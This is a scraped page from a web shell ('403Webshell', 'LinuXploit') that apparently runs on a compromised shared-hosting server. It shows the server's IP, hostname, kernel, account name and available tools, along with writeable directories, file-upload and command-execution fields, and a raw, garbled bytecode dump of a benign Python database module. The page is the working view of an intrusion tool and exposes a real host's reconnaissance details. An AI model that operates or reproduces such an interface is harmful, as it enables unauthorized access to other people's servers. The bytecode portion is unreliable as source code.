403Webshell
Server IP : 192.158.238.246  /  Your IP : 3.147.44.106
Web Server : LiteSpeed
System : Linux uniform.iwebfusion.net 4.18.0-553.27.1.lve.1.el8.x86_64 #1 SMP Wed Nov 20 15:58:00 UTC 2024 x86_64
User : jenniferflocom ( 1321)
PHP Version : 8.1.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/7779/root/opt/alt/python37/lib/python3.7/site-packages/ssa/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/7779/root/opt/alt/python37/lib/python3.7/site-packages/ssa/__pycache__/db.cpython-37.pyc
B

V�dZ
�@s�ddlZddlZddlZddlmZmZddlmZmZmZm	Z	m
Z
mZmZm
Z
ddlmZddlmZddlmZdZdZe�ZGd	d
�d
e�Zdd�Zd
d�Zdd�Zdd�Zdd�Zddd�Zejed�dd��ZdS)�N)�datetime�	timedelta)�Column�Boolean�DateTime�Integer�String�
create_engine�event�func)�declarative_base)�	Inspector)�Sessionz/var/lve/ssa.db�c@s�eZdZdZdZeedd�Zeeddd�Z	eeddd�Z
eedd�Zeedd�Zee
dd�Zee
dd�Zeedd�Zeedd�Zee
dd�Zeedd�e��d	�Zeedd�e��e��d
�ZdS)�
RequestResultay
    Describes processed request stored in database file.

    E.g.
    {
        "timestamp": "1650008727",
        "url": "http://mydomain.com/index.php",
        "duration": 162077,
        "hitting_limits": false,
        "throttled_time": 0,
        "io_throttled_time": 0,
        "wordpress": true
    }

    Note: created_at, updated_at is saved in local TZ format
    Z
scrape_resultT)Zprimary_keyF)�index�nullable)r)�timezone)�server_default)ZonupdaterN)�__name__�
__module__�__qualname__�__doc__Z
__tablename__rr�idr�domain�path�	timestamp�durationrZis_slow_requestZhitting_limitsZthrottled_timeZio_throttled_timeZ	wordpressrr�now�
created_atZ
updated_at�r r �7/opt/alt/python37/lib/python3.7/site-packages/ssa/db.pyr"src	CsDt��ttd�}t|�� }|�t��tj|k��	�WdQRXdS)zD
    Removes outdated records from database, saving disk space.
    )�daysN)
r�todayr�RETENTION_TIME_DAYS�
session_scope�queryr�filterr�delete)�engine�
n_days_ago�sessionr r r!�cleanup_old_dataGs

r,cCst|�stj�|�dS)N)�
is_db_present�Base�metadataZ
create_all)r)r r r!�create_db_if_not_existRsr0cCs8tj�t�sdSt�|�}dd�|��D�}t|�dkS)NFcSsg|]}|�qSr r )�.0�tabler r r!�
<listcomp>[sz!is_db_present.<locals>.<listcomp>r)�osr�isfile�SSA_DBr
Zfrom_engineZget_table_names�len)r)Zdatabase_inspectionZtablesr r r!r-Ws

r-cCs|�d�dS)NzPRAGMA journal_mode = WAL)�execute)Z	dbapi_conZ
con_recordr r r!�setup_wal_mode_sr9csLdt���|r��d���fdd�}td|dd�}t�|dt�t|�|S)	Nzfile:z?mode=rocstj�dd�S)NT)�uri)�sqlite3�connectr )�connection_stringr r!�<lambda>g�z!_setup_database.<locals>.<lambda>zsqlite:////F)�creator�echor<)r6r	r
�listenr9r0)�readonlyr@r)r )r=r!�_setup_databasecs

rDFcCst|�S)N)rD)rCr r r!�setup_databasepsrE)�returnccsHt|d�}z.y|V|��Wn|���YnXWd|��XdS)zF
    Provide a transactional scope around a series of operations.
    )�bindN)rZcommitZrollback�close)r)r+r r r!r%ts
r%)F) r4�
contextlibr;rrZ
sqlalchemyrrrrrr	r
rZsqlalchemy.ext.declarativerZsqlalchemy.engine.reflectionr
Zsqlalchemy.ormrr6r$r.rr,r0r-r9rDrE�contextmanagerr%r r r r!�<module>
s&(	%


Youez - 2016 - github.com/yon3zu
LinuXploit